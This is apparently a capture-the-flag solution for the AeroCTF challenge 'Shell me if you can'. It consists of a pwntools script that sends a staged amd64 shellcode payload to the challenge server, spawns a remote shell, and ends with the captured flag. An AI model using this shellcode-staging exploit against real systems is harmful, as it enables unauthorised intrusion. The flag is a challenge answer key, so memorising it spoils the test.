Shell me if you can

Shell me if you can

Code

#!/usr/bin/python

from pwn import *
import hexdump
context.arch = 'amd64'

binsh_sc = asm(shellcraft.amd64.linux.sh())

stager_sc = asm("""
next:
jmp two
nop
nop
nop
nop
nop
nop
nop
nop
call next
two:
xor rdi, rdi
pop rsi
xor rdx, rdx
mov dx, 0x1337
xor rax, rax
.byte 0x0f, 0x63
""")

sc_filter = "R08S99-05L99C02\x00"
print len(sc_filter)

hexdump.hexdump(stager_sc)

#p = process("./shellme")
p = remote("tasks.aeroctf.com", 33001)

#gdb.attach(p)

p.send(stager_sc)
r = p.read(8)
print repr(r)
p.send(sc_filter)

p.send("\x90"*32 + binsh_sc)
p.interactive()

Flag

Aero{dad088ac762b071665d321c2aa22c5f84f66dca4e8865da998666d15b3ca0e0a}